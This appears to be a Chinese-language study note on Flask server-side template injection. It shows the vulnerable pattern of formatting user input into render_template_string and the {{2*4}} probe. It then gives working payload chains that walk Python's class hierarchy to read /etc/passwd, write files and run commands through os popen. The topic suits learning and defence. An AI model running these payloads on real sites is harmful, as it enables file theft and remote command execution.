flask模板注入的學習

關於flask模版注入,之前不太理解,看了很多文章才弄懂,主要原理就是渲染函式的引數使用者可控就造成了模板注入

就會使使用者構造惡意的程式碼進行逃逸從而進行攻擊

flask模板渲染函式

render_template('index.html') //渲染一個頁面

index.html

<p>hello</p>

render_template_string('<p>hello</p>')//渲染一個字串

上面這兩個的效果是一樣的

原理

id = request.args.get('id')//使用者傳參id
html = '''
<h3>%s</h3>
'''%(id)
return render_template_string(html)

上面的id就可以逃逸出來

id = request.args.get('id')
return render_template_string("<h3>{{s}}</h3>",s=id);

上面的id就無法逃逸,無論傳入什麼引數都會編碼之後及進行顯示

SSTI判斷

一般我們是如何判斷到底有沒有ssti漏洞的呢?

一般我們使用{{2*4}}如果回顯計算了為8則存在SSTI漏洞,如果回顯很奇怪,那麼可能是有過濾,也可以再進一步判斷

SSTI的利用

一般我們是按照流程來的

先獲取 ‘ 的類

"'".__class__

會回顯 <class 'str'>

然後獲取其基類

"'".__class__.__base__

會回顯<class 'str'>, <class 'object'>

然後根據這個基類,找基類的引用,也就是一層的一層繼承下來的類

"'".__class__.__bases__[0].__subclasses__()

會回顯很多類大概這樣

<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>,
<class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>,
<class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>,
<class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>,
<class 'generator'>
然後找到其中能用的類

什麼是能用的類呢

比如<class `file`>就可以進行檔案讀寫

"'".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()

  解釋一下,這裡的.mro和上面的base幾乎一樣

這樣就可以讀取/etc/passwd檔案了

"'".__class__.__mro__[2].__subclasses__()[40]("/root/桌面/test.txt", "a").write("123")

  這樣就可以寫檔案了

然後我們接著走,這裡介紹另一種<class 'os._wrap_close'>

像這種os的一般許可權都很高

"'".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__

  這一步解釋一下,找到OS類然後初始化,找到其全域性變數,也就是找哪個函式有漏洞

"'".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('cd /').read()

  這是找到了popen函式,然後執行了命令cd /然後把執行的結果讀出來了

總結

.__class__//找到類
.__mro__//找到基類
.__base__//同上
.__subclasses__()//找到基類的引用類
.__init__//初始化類
.__globals__//訪問全域性變數,找可利用函式

  這是一些用到的方法

每一種模板用到的函式都不一樣,讀取的方法也不一樣,上述僅針對於flask模板,不過思路都差不多